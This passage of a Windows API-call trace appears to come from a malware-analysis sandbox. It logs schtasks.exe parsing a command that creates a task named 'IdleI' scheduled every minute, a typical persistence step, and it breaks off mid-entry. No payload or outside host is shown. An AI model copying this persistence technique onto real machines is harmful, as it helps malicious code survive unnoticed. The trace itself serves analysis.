_memicmp (_Buf1=0x2cba20, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.440] GetProcessHeap () returned 0x2b0000 [0133.440] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2cccd0 [0133.440] _memicmp (_Buf1=0x2cba40, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.440] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x2cd230, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0133.440] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0133.440] GetProcessHeap () returned 0x2b0000 [0133.441] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x30) returned 0x2c7a80 [0133.441] _vsnwprintf (in: _Buffer=0x2cbfa0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x17c458 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0133.441] GetProcessHeap () returned 0x2b0000 [0133.441] GetProcessHeap () returned 0x2b0000 [0133.441] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cdc40) returned 1 [0133.441] GetProcessHeap () returned 0x2b0000 [0133.441] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cdc40) returned 0x74e [0133.441] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cdc40 | out: hHeap=0x2b0000) returned 1 [0133.441] SetLastError (dwErrCode=0x0) [0133.441] GetThreadLocale () returned 0x409 [0133.441] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.441] lstrlenW (lpString="create") returned 6 [0133.441] GetThreadLocale () returned 0x409 [0133.441] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.441] lstrlenW (lpString="?") returned 1 [0133.441] GetThreadLocale () returned 0x409 [0133.441] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.442] lstrlenW (lpString="s") returned 1 [0133.442] GetThreadLocale () returned 0x409 [0133.442] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.442] lstrlenW (lpString="u") returned 1 [0133.442] GetThreadLocale () returned 0x409 [0133.442] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.442] lstrlenW (lpString="p") returned 1 [0133.442] GetThreadLocale () returned 0x409 [0133.442] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.442] lstrlenW (lpString="ru") returned 2 [0133.442] GetThreadLocale () returned 0x409 [0133.442] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.442] lstrlenW (lpString="rp") returned 2 [0133.442] GetThreadLocale () returned 0x409 [0133.442] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.442] lstrlenW (lpString="sc") returned 2 [0133.442] GetThreadLocale () returned 0x409 [0133.442] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.442] lstrlenW (lpString="mo") returned 2 [0133.442] GetThreadLocale () returned 0x409 [0133.442] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.442] lstrlenW (lpString="d") returned 1 [0133.442] GetThreadLocale () returned 0x409 [0133.442] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.442] lstrlenW (lpString="m") returned 1 [0133.442] GetThreadLocale () returned 0x409 [0133.442] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.442] lstrlenW (lpString="i") returned 1 [0133.442] GetThreadLocale () returned 0x409 [0133.443] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.443] lstrlenW (lpString="tn") returned 2 [0133.443] GetThreadLocale () returned 0x409 [0133.443] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.443] lstrlenW (lpString="tr") returned 2 [0133.443] GetThreadLocale () returned 0x409 [0133.443] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.443] lstrlenW (lpString="st") returned 2 [0133.443] GetThreadLocale () returned 0x409 [0133.443] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.443] lstrlenW (lpString="sd") returned 2 [0133.443] GetThreadLocale () returned 0x409 [0133.443] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.443] lstrlenW (lpString="ed") returned 2 [0133.443] GetThreadLocale () returned 0x409 [0133.443] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.443] lstrlenW (lpString="it") returned 2 [0133.443] GetThreadLocale () returned 0x409 [0133.443] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.443] lstrlenW (lpString="et") returned 2 [0133.443] GetThreadLocale () returned 0x409 [0133.443] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.443] lstrlenW (lpString="k") returned 1 [0133.443] GetThreadLocale () returned 0x409 [0133.443] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.443] lstrlenW (lpString="du") returned 2 [0133.443] GetThreadLocale () returned 0x409 [0133.443] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.443] lstrlenW (lpString="ri") returned 2 [0133.444] GetThreadLocale () returned 0x409 [0133.444] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.444] lstrlenW (lpString="z") returned 1 [0133.444] GetThreadLocale () returned 0x409 [0133.444] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.444] lstrlenW (lpString="f") returned 1 [0133.444] GetThreadLocale () returned 0x409 [0133.444] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.444] lstrlenW (lpString="v1") returned 2 [0133.444] GetThreadLocale () returned 0x409 [0133.444] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.444] lstrlenW (lpString="xml") returned 3 [0133.444] GetThreadLocale () returned 0x409 [0133.444] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.444] lstrlenW (lpString="ec") returned 2 [0133.444] GetThreadLocale () returned 0x409 [0133.444] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.444] lstrlenW (lpString="rl") returned 2 [0133.444] GetThreadLocale () returned 0x409 [0133.444] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.444] lstrlenW (lpString="delay") returned 5 [0133.444] GetThreadLocale () returned 0x409 [0133.444] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0133.444] lstrlenW (lpString="np") returned 2 [0133.444] SetLastError (dwErrCode=0x0) [0133.444] SetLastError (dwErrCode=0x0) [0133.444] lstrlenW (lpString="/create") returned 7 [0133.444] lstrlenW (lpString="-/") returned 2 [0133.444] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0133.445] lstrlenW (lpString="create") returned 6 [0133.445] lstrlenW (lpString="create") returned 6 [0133.445] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.445] lstrlenW (lpString="create") returned 6 [0133.445] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.445] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|create|") returned 8 [0133.445] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|create|") returned 8 [0133.445] lstrlenW (lpString="|create|") returned 8 [0133.445] lstrlenW (lpString="|create|") returned 8 [0133.445] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0133.445] SetLastError (dwErrCode=0x0) [0133.445] SetLastError (dwErrCode=0x0) [0133.445] SetLastError (dwErrCode=0x0) [0133.445] lstrlenW (lpString="/tn") returned 3 [0133.445] lstrlenW (lpString="-/") returned 2 [0133.445] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0133.445] lstrlenW (lpString="create") returned 6 [0133.445] lstrlenW (lpString="create") returned 6 [0133.445] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.445] lstrlenW (lpString="tn") returned 2 [0133.445] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.445] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|create|") returned 8 [0133.445] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|tn|") returned 4 [0133.445] lstrlenW (lpString="|create|") returned 8 [0133.446] lstrlenW (lpString="|tn|") returned 4 [0133.446] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0133.446] SetLastError (dwErrCode=0x490) [0133.446] lstrlenW (lpString="?") returned 1 [0133.446] lstrlenW (lpString="?") returned 1 [0133.446] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.446] lstrlenW (lpString="tn") returned 2 [0133.446] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.446] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|?|") returned 3 [0133.446] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|tn|") returned 4 [0133.446] lstrlenW (lpString="|?|") returned 3 [0133.446] lstrlenW (lpString="|tn|") returned 4 [0133.446] SetLastError (dwErrCode=0x490) [0133.446] lstrlenW (lpString="s") returned 1 [0133.446] lstrlenW (lpString="s") returned 1 [0133.446] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.446] lstrlenW (lpString="tn") returned 2 [0133.446] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.446] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|s|") returned 3 [0133.446] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|tn|") returned 4 [0133.446] lstrlenW (lpString="|s|") returned 3 [0133.446] lstrlenW (lpString="|tn|") returned 4 [0133.446] SetLastError (dwErrCode=0x490) [0133.446] lstrlenW (lpString="u") returned 1 [0133.446] lstrlenW (lpString="u") returned 1 [0133.446] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.447] lstrlenW (lpString="tn") returned 2 [0133.447] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.447] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|u|") returned 3 [0133.447] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|tn|") returned 4 [0133.447] lstrlenW (lpString="|u|") returned 3 [0133.447] lstrlenW (lpString="|tn|") returned 4 [0133.447] SetLastError (dwErrCode=0x490) [0133.447] lstrlenW (lpString="p") returned 1 [0133.447] lstrlenW (lpString="p") returned 1 [0133.447] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.447] lstrlenW (lpString="tn") returned 2 [0133.447] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.447] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|p|") returned 3 [0133.447] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|tn|") returned 4 [0133.447] lstrlenW (lpString="|p|") returned 3 [0133.447] lstrlenW (lpString="|tn|") returned 4 [0133.447] SetLastError (dwErrCode=0x490) [0133.447] lstrlenW (lpString="ru") returned 2 [0133.447] lstrlenW (lpString="ru") returned 2 [0133.447] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.447] lstrlenW (lpString="tn") returned 2 [0133.447] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.447] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|ru|") returned 4 [0133.447] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|tn|") returned 4 [0133.447] lstrlenW (lpString="|ru|") returned 4 [0133.448] lstrlenW (lpString="|tn|") returned 4 [0133.448] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0133.448] SetLastError (dwErrCode=0x490) [0133.448] lstrlenW (lpString="rp") returned 2 [0133.448] lstrlenW (lpString="rp") returned 2 [0133.448] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.448] lstrlenW (lpString="tn") returned 2 [0133.448] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.448] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|rp|") returned 4 [0133.448] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|tn|") returned 4 [0133.448] lstrlenW (lpString="|rp|") returned 4 [0133.448] lstrlenW (lpString="|tn|") returned 4 [0133.448] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0133.448] SetLastError (dwErrCode=0x490) [0133.448] lstrlenW (lpString="sc") returned 2 [0133.448] lstrlenW (lpString="sc") returned 2 [0133.448] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.448] lstrlenW (lpString="tn") returned 2 [0133.448] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.448] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|sc|") returned 4 [0133.448] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|tn|") returned 4 [0133.448] lstrlenW (lpString="|sc|") returned 4 [0133.448] lstrlenW (lpString="|tn|") returned 4 [0133.448] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0133.448] SetLastError (dwErrCode=0x490) [0133.448] lstrlenW (lpString="mo") returned 2 [0133.449] lstrlenW (lpString="mo") returned 2 [0133.449] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.449] lstrlenW (lpString="tn") returned 2 [0133.449] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.449] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|mo|") returned 4 [0133.449] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|tn|") returned 4 [0133.449] lstrlenW (lpString="|mo|") returned 4 [0133.449] lstrlenW (lpString="|tn|") returned 4 [0133.449] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0133.449] SetLastError (dwErrCode=0x490) [0133.449] lstrlenW (lpString="d") returned 1 [0133.449] lstrlenW (lpString="d") returned 1 [0133.449] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.449] lstrlenW (lpString="tn") returned 2 [0133.449] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.449] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|d|") returned 3 [0133.449] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|tn|") returned 4 [0133.449] lstrlenW (lpString="|d|") returned 3 [0133.449] lstrlenW (lpString="|tn|") returned 4 [0133.449] SetLastError (dwErrCode=0x490) [0133.449] lstrlenW (lpString="m") returned 1 [0133.449] lstrlenW (lpString="m") returned 1 [0133.449] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.449] lstrlenW (lpString="tn") returned 2 [0133.449] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.450] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|m|") returned 3 [0133.450] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|tn|") returned 4 [0133.450] lstrlenW (lpString="|m|") returned 3 [0133.450] lstrlenW (lpString="|tn|") returned 4 [0133.450] SetLastError (dwErrCode=0x490) [0133.450] lstrlenW (lpString="i") returned 1 [0133.450] lstrlenW (lpString="i") returned 1 [0133.450] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.450] lstrlenW (lpString="tn") returned 2 [0133.450] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.450] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|i|") returned 3 [0133.450] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|tn|") returned 4 [0133.450] lstrlenW (lpString="|i|") returned 3 [0133.450] lstrlenW (lpString="|tn|") returned 4 [0133.450] SetLastError (dwErrCode=0x490) [0133.450] lstrlenW (lpString="tn") returned 2 [0133.450] lstrlenW (lpString="tn") returned 2 [0133.450] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.450] lstrlenW (lpString="tn") returned 2 [0133.450] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.450] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|tn|") returned 4 [0133.450] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|tn|") returned 4 [0133.450] lstrlenW (lpString="|tn|") returned 4 [0133.450] lstrlenW (lpString="|tn|") returned 4 [0133.450] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0133.451] SetLastError (dwErrCode=0x0) [0133.451] SetLastError (dwErrCode=0x0) [0133.451] lstrlenW (lpString="IdleI") returned 5 [0133.451] lstrlenW (lpString="-/") returned 2 [0133.451] StrChrIW (lpStart="-/", wMatch=0x49) returned 0x0 [0133.451] SetLastError (dwErrCode=0x490) [0133.451] SetLastError (dwErrCode=0x490) [0133.451] SetLastError (dwErrCode=0x0) [0133.451] lstrlenW (lpString="IdleI") returned 5 [0133.451] StrChrIW (lpStart="IdleI", wMatch=0x3a) returned 0x0 [0133.451] SetLastError (dwErrCode=0x490) [0133.451] SetLastError (dwErrCode=0x0) [0133.451] lstrlenW (lpString="IdleI") returned 5 [0133.451] SetLastError (dwErrCode=0x0) [0133.451] SetLastError (dwErrCode=0x0) [0133.451] lstrlenW (lpString="/sc") returned 3 [0133.451] lstrlenW (lpString="-/") returned 2 [0133.451] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0133.451] lstrlenW (lpString="create") returned 6 [0133.451] lstrlenW (lpString="create") returned 6 [0133.451] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.451] lstrlenW (lpString="sc") returned 2 [0133.451] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.451] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|create|") returned 8 [0133.451] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|sc|") returned 4 [0133.451] lstrlenW (lpString="|create|") returned 8 [0133.451] lstrlenW (lpString="|sc|") returned 4 [0133.451] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0133.452] SetLastError (dwErrCode=0x490) [0133.452] lstrlenW (lpString="?") returned 1 [0133.452] lstrlenW (lpString="?") returned 1 [0133.452] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.452] lstrlenW (lpString="sc") returned 2 [0133.452] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.452] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|?|") returned 3 [0133.452] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|sc|") returned 4 [0133.452] lstrlenW (lpString="|?|") returned 3 [0133.452] lstrlenW (lpString="|sc|") returned 4 [0133.452] SetLastError (dwErrCode=0x490) [0133.452] lstrlenW (lpString="s") returned 1 [0133.452] lstrlenW (lpString="s") returned 1 [0133.452] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.452] lstrlenW (lpString="sc") returned 2 [0133.452] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.452] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|s|") returned 3 [0133.452] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|sc|") returned 4 [0133.452] lstrlenW (lpString="|s|") returned 3 [0133.452] lstrlenW (lpString="|sc|") returned 4 [0133.452] SetLastError (dwErrCode=0x490) [0133.452] lstrlenW (lpString="u") returned 1 [0133.452] lstrlenW (lpString="u") returned 1 [0133.452] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.452] lstrlenW (lpString="sc") returned 2 [0133.452] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.453] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|u|") returned 3 [0133.453] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|sc|") returned 4 [0133.453] lstrlenW (lpString="|u|") returned 3 [0133.453] lstrlenW (lpString="|sc|") returned 4 [0133.453] SetLastError (dwErrCode=0x490) [0133.453] lstrlenW (lpString="p") returned 1 [0133.453] lstrlenW (lpString="p") returned 1 [0133.453] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.453] lstrlenW (lpString="sc") returned 2 [0133.453] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.453] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|p|") returned 3 [0133.453] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|sc|") returned 4 [0133.453] lstrlenW (lpString="|p|") returned 3 [0133.453] lstrlenW (lpString="|sc|") returned 4 [0133.453] SetLastError (dwErrCode=0x490) [0133.453] lstrlenW (lpString="ru") returned 2 [0133.453] lstrlenW (lpString="ru") returned 2 [0133.453] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.453] lstrlenW (lpString="sc") returned 2 [0133.453] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.453] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|ru|") returned 4 [0133.453] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|sc|") returned 4 [0133.453] lstrlenW (lpString="|ru|") returned 4 [0133.453] lstrlenW (lpString="|sc|") returned 4 [0133.453] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0133.454] SetLastError (dwErrCode=0x490) [0133.454] lstrlenW (lpString="rp") returned 2 [0133.454] lstrlenW (lpString="rp") returned 2 [0133.454] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.454] lstrlenW (lpString="sc") returned 2 [0133.454] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.454] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|rp|") returned 4 [0133.454] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|sc|") returned 4 [0133.454] lstrlenW (lpString="|rp|") returned 4 [0133.454] lstrlenW (lpString="|sc|") returned 4 [0133.454] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0133.454] SetLastError (dwErrCode=0x490) [0133.454] lstrlenW (lpString="sc") returned 2 [0133.454] lstrlenW (lpString="sc") returned 2 [0133.454] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.454] lstrlenW (lpString="sc") returned 2 [0133.454] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.454] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|sc|") returned 4 [0133.454] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|sc|") returned 4 [0133.454] lstrlenW (lpString="|sc|") returned 4 [0133.454] lstrlenW (lpString="|sc|") returned 4 [0133.454] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0133.454] SetLastError (dwErrCode=0x0) [0133.454] SetLastError (dwErrCode=0x0) [0133.454] lstrlenW (lpString="MINUTE") returned 6 [0133.454] lstrlenW (lpString="-/") returned 2 [0133.454] StrChrIW 